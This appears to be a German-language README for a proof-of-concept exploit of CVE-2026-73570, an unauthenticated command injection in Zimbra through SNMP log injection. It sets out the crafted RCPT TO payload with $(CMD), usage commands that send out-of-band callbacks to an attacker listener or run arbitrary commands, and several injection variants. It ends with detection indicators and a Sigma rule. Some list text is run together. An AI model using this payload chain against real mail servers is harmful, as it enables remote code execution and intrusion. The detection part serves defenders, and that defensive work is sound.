
Proof-of-Concept-Exploit für CVE-2026-73570, eine nicht authentifizierte OS-Befehlsinjektion in der Zimbra Collaboration Suite über zimbra-snmp-Log-Injektion, mit Hinweisen zur Erkennung.
Proof-of-Concept-Exploit für CVE-2026-73570, eine unauthentifizierte OS-Befehls-
injektion (CWE-78, CVSS 8.9) in Zimbra Collaboration Suite < 10.1.20, wenn das
Paket zimbra-snmp installiert und SNMP-Benachrichtigungen aktiviert sind.
Haftungsausschluss: Dieser PoC ist ausschließlich für autorisierte Sicherheitstests, Defensivforschung und die Validierung Ihrer eigenen Systeme gedacht. Verwenden Sie ihn nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben.
Zimbas SNMP-Benachrichtigungsfunktion verwendet swatchdog, um
/var/log/zimbra.log auf Service-Ereignisse zu überwachen. Wenn eine Logzeile dem
Watch-Muster entspricht, wird der übereinstimmende Text in einen Shell-Befehl interpoliert, der die
SNMP-Benachrichtigung sendet — ohne Bereinigung.
Die Angriffskette:
1. Angreifer sendet eine SMTP-Sitzung mit einer manipulierten RCPT-TO-Adresse:
RCPT TO:<"x: Service status change: localhost $(CMD)
changed from stopped to running"@cve.invalid>
Der lokale Teil ist ein RFC-5321-Quoted-String, sodass Postfix die
Adresssyntax akzeptiert (Leerzeichen, Doppelpunkte, $(...) inklusive).
2. Postfix weist den Empfänger zurück (Relay verweigert / Benutzer unbekannt / Sender-
Einschränkung) und schreibt den VOLLSTÄNDIGEN to=<...>-String, Anführungszeichen entfernt, in
/var/log/zimbra.log:
NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
change: localhost $(CMD) changed from stopped to [email protected]> ...
3. swatchdog (zimbra-snmp) durchsucht das Log regelmäßig und gleicht es mit seinem
watchfor-Muster "Service status change ... changed from ... to ..." ab.
4. Der übereinstimmende Text wird in den SNMP-Benachrichtigungs-Shell-Befehl interpoliert
-> $(CMD) wird ausgewertet -> Befehlsausführung als Benutzer `zimbra`.
Das Ziel muss alle der folgenden Bedingungen erfüllen:
zimbra-snmp-Paket installiertzmlocalconfig | grep -i snmp_notify)Angreiferseite: Python 3 (nur Standardbibliothek, keine Abhängigkeiten).
# 1. RCE über Out-of-Band-DNS-Callback verifizieren (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site
# 2. RCE über HTTP-Callback an Ihren Listener verifizieren:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb
# 3. Eine Marker-Datei auf dem Host ablegen (danach manuell auf dem Server prüfen):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"
# 4. Nur Fingerprinting (keine Payload gesendet):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only
# Debug: das vollständige SMTP-Transkript ausgeben
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug
Optionen:
| Flag | Beschreibung |
|---|---|
-t, --target | Ziel-Zimbra-SMTP-IP/Hostname (erforderlich) |
-p, --port | SMTP-Port (Standard: 25) |
--tls | STARTTLS verwenden (z. B. Port 587) |
--oob | OOB-DNS-Domain oder HTTP-Callback-URL (empfohlen) |
--cmd | Beliebiger Befehl anstelle des OOB-Callbacks |
--fake-host | Hostname innerhalb des gefälschten Service status change-Strings (Standard: localhost) |
--check-only | Nur Fingerprinting, keine Payloads senden |
--delay | Verzögerung zwischen den Sendevorgängen in Sekunden (Standard: 1.0) |
--debug | Vollständiges SMTP-Transkript ausgeben |
Das Skript sendet jeden Befehl in mehreren Injektionsvarianten ($(...),
Backticks, ;cmd;#, $({IFS}...)). Beobachten Sie für jede Variante den RCPT-
Antwortcode:
| RCPT-Antwort | Bedeutung |
|---|---|
250, 450, 454 Relay access denied, 550 5.1.1 User unknown | Adresssyntax akzeptiert — die Reject-Zeile mit dem vollständigen to=<...>-String steht nun im Log. Payload platziert. |
501 5.1.3 Bad recipient address syntax | Postfix hat die Adresse bereits beim Parsen zurückgewiesen — nichts Nützliches geloggt. Das Skript versucht automatisch einen unquoted Fallback. |
Bestätigen Sie dann auf dem Server (falls Sie Zugriff haben):
# Die injizierte Zeile muss vorhanden sein:
grep 'Service status change' /var/log/zimbra.log | tail
# Erwartet: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...
# 1-5 Minuten warten (swatchdog durchsucht das Log regelmäßig — die Ausführung erfolgt NICHT in Echtzeit),
# dann nach dem Effekt suchen:
ls -la /tmp/ # falls Sie --cmd verwendet haben
# oder Ihren OOB-Listener auf den Callback überwachen
Wenn die Logzeile vorhanden ist, der Befehl aber nie ausgeführt wird, liegen die
verbleibenden Voraussetzungen auf der swatchdog-Seite: Prüfen Sie, ob der Prozess läuft
(ps aux | grep swatch) und ob seine Konfiguration tatsächlich auf das
Service status change-Muster achtet.
Ausführungskontext: Befehle werden als Benutzer zimbra ausgeführt (nicht als root).
fail2ban-client status, iptables -L -n | grep <your_ip> und bestätigen Sie,
dass Pakete Postfix erreichen, mit tcpdump -i any port 25 and host <your_ip> -nn -A.warning: Illegal address syntax ... in RCPT command: ... statt als
NOQUEUE: reject-Zeile geloggt. Grepen Sie stattdessen nach Ihrer Angreifer-IP.Wichtige Indikatoren für eine erfolgreiche Ausnutzung:
to=<*: Service status change: *$(...)* innerhalb
einer Postfix-Reject-Zeile in /var/log/zimbra.log — praktisch null
False Positives, da der Text Service status change niemals legitim
innerhalb einer to=<>-Adresse erscheint.sh, bash, curl, wget, nc, python, perl), der als Kindprozess
von swatchdog / swatch gestartet wird..jsp/.jspx-Dateien unter
/opt/zimbra/jetty/webapps/ oder /opt/zimbra/jetty_base/webapps/,
unerwartete Dateien in /tmp/, neue Cron-Einträge oder SSH-Schlüssel für den Benutzer zimbra
und ausgehende Verbindungen vom Mailserver, die nicht dem
normalen Mailfluss entsprechen.Beispiel-Sigma-Regel (Versuchsphase):
title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
product: linux
service: postfix
detection:
sel:
- 'to=<*: Service status change: *$(*'
- 'to=<*: Service status change: *`*'
condition: sel
level: high
tags:
- attack.initial-access
- attack.t1190
- cve.2026.73570
zimbra-snmp bis zum Patch zu stoppen/entfernen.